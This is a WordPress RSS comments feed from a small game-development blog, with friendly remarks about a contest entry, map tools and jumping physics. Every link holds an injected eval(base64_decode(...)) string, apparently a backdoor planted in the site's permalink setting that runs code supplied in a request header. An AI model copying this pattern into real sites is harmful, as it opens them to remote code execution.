<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for Dreamstem</title>
	<atom:link href="http://www.dreamstem.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dreamstem.com</link>
	<description>Where dreams are born</description>
	<lastBuildDate>Wed, 12 Aug 2009 17:21:11 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>Comment on New Wind by Eanaka</title>
		<link>http://www.dreamstem.com/2009/04/30/new-wind/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-413</link>
		<dc:creator>Eanaka</dc:creator>
		<pubDate>Wed, 12 Aug 2009 17:21:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=32#comment-413</guid>
		<description>Oh hi :D ... I haven&#039;t been looking around here for a while &gt;.&gt;
I&#039;m happy i could give you more wind ;p</description>
		<content:encoded><![CDATA[<p>Oh hi <img src='http://www.dreamstem.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  &#8230; I haven&#8217;t been looking around here for a while &gt;.&gt;<br />
I&#8217;m happy i could give you more wind ;p</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on A little bit about the game structure by cag</title>
		<link>http://www.dreamstem.com/2009/05/07/a-little-bit-about-the-game-structure/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-351</link>
		<dc:creator>cag</dc:creator>
		<pubDate>Thu, 28 May 2009 08:14:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=33#comment-351</guid>
		<description>hey syn!
I think I am going to make that (spiritual) sequel to my compo entry. It&#039;s nice to see that you&#039;re continuing work on yours.

good luck, and if there are any physics questions you/your coder have, I can probably answer them.</description>
		<content:encoded><![CDATA[<p>hey syn!<br />
I think I am going to make that (spiritual) sequel to my compo entry. It&#8217;s nice to see that you&#8217;re continuing work on yours.</p>
<p>good luck, and if there are any physics questions you/your coder have, I can probably answer them.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wandering by admin</title>
		<link>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-220</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Tue, 27 Jan 2009 06:45:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=27#comment-220</guid>
		<description>Not bad, I used to do by manually importing each layer and using the new &quot;imported tiles as new layer&quot; option. Then I found out about the psdmap utility (http://www.verge-rpg.com/files/detail.php?id=483). 

It is much quicker. It can also recognize similar sections that have been used multiple time and reuse the same tile. For this reason, the tiles end up being the same size as regular tiles if you draw the map correctly. 

You can check our compo entry, Wind, for an example. The maps in the demo were done using psdmap.</description>
		<content:encoded><![CDATA[<p>Not bad, I used to do by manually importing each layer and using the new &#8220;imported tiles as new layer&#8221; option. Then I found out about the psdmap utility (<a href="http://www.verge-rpg.com/files/detail.php?id=483" rel="nofollow">http://www.verge-rpg.com/files/detail.php?id=483</a>). </p>
<p>It is much quicker. It can also recognize similar sections that have been used multiple time and reuse the same tile. For this reason, the tiles end up being the same size as regular tiles if you draw the map correctly. </p>
<p>You can check our compo entry, Wind, for an example. The maps in the demo were done using psdmap.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wandering by ErayMan</title>
		<link>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-219</link>
		<dc:creator>ErayMan</dc:creator>
		<pubDate>Tue, 27 Jan 2009 05:18:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=27#comment-219</guid>
		<description>How big are the file size it creates when importing images as layers? I intend to do the same in my game, but have no idea if it really is feasible on a medium/large scale.</description>
		<content:encoded><![CDATA[<p>How big are the file size it creates when importing images as layers? I intend to do the same in my game, but have no idea if it really is feasible on a medium/large scale.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Anouncement + Compo Judging Results by pthaloearth</title>
		<link>http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-216</link>
		<dc:creator>pthaloearth</dc:creator>
		<pubDate>Tue, 13 Jan 2009 18:20:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=29#comment-216</guid>
		<description>that&#039;s great news, I know it would be a good game if it gets worked out. Best of luck pulling it all together!</description>
		<content:encoded><![CDATA[<p>that&#8217;s great news, I know it would be a good game if it gets worked out. Best of luck pulling it all together!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Anouncement + Compo Judging Results by SDHawk</title>
		<link>http://www.dreamstem.com/2009/01/13/anouncement-compo-judging-results/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-215</link>
		<dc:creator>SDHawk</dc:creator>
		<pubDate>Tue, 13 Jan 2009 07:59:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=29#comment-215</guid>
		<description>Awesome! If you have any questions about polishing up the jumping physics, just ask. I had to produce like 50 builds before I could get troupe to approve of my first platformer&#039;s physics.</description>
		<content:encoded><![CDATA[<p>Awesome! If you have any questions about polishing up the jumping physics, just ask. I had to produce like 50 builds before I could get troupe to approve of my first platformer&#8217;s physics.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Verge Compo Entry by Eanaka</title>
		<link>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-212</link>
		<dc:creator>Eanaka</dc:creator>
		<pubDate>Sun, 04 Jan 2009 22:55:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=28#comment-212</guid>
		<description>Weeee, finished playing it! Took me so long... I really fail at platform games &gt;&lt;...

Overall: Fun gameplay and cute graphics. However I have to agree with &quot;missing it on the return and having to wait for it to clear the screen was annoying&quot;.</description>
		<content:encoded><![CDATA[<p>Weeee, finished playing it! Took me so long&#8230; I really fail at platform games &gt;&lt;&#8230;</p>
<p>Overall: Fun gameplay and cute graphics. However I have to agree with &#8220;missing it on the return and having to wait for it to clear the screen was annoying&#8221;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Verge Compo Entry by Eldritch</title>
		<link>http://www.dreamstem.com/2009/01/03/verge-compo-entry/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-211</link>
		<dc:creator>Eldritch</dc:creator>
		<pubDate>Sat, 03 Jan 2009 14:55:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=28#comment-211</guid>
		<description>I&#039;ll admit to throwing the initial version down in frustration after finding I would instantly die just for maybe thinking I might touch a mole.  Once that got cleared up, though, the game was pretty fun.  I liked being able to toss the boomerang (or giant sword) in any direction to attack, though missing it on the return and having to wait for it to clear the screen was annoying.

Not bad for a week&#039;s work.  Not bad at all.</description>
		<content:encoded><![CDATA[<p>I&#8217;ll admit to throwing the initial version down in frustration after finding I would instantly die just for maybe thinking I might touch a mole.  Once that got cleared up, though, the game was pretty fun.  I liked being able to toss the boomerang (or giant sword) in any direction to attack, though missing it on the return and having to wait for it to clear the screen was annoying.</p>
<p>Not bad for a week&#8217;s work.  Not bad at all.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wandering by admin</title>
		<link>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-210</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Tue, 16 Dec 2008 23:35:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=27#comment-210</guid>
		<description>Grue: How about this then, you have something you can show off with a screenshot or video for your next update and I will have a walk&#039;n&#039;talk demo on my end. Deal? ;)</description>
		<content:encoded><![CDATA[<p>Grue: How about this then, you have something you can show off with a screenshot or video for your next update and I will have a walk&#8217;n'talk demo on my end. Deal? <img src='http://www.dreamstem.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wandering by Eanaka</title>
		<link>http://www.dreamstem.com/2008/12/15/wandering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comment-209</link>
		<dc:creator>Eanaka</dc:creator>
		<pubDate>Tue, 16 Dec 2008 22:36:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.dreamstem.com/?p=27#comment-209</guid>
		<description>&gt;&gt;One thing I found, is how much more enjoyable it is to make maps outside Maped and import them as pictures. I think it takes out the hardship of making tiles that “tile” correctly. The last two image were done in such a way.&lt;&lt;

I love it.</description>
		<content:encoded><![CDATA[<p>&gt;&gt;One thing I found, is how much more enjoyable it is to make maps outside Maped and import them as pictures. I think it takes out the hardship of making tiles that “tile” correctly. The last two image were done in such a way.&lt;&lt;</p>
<p>I love it.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

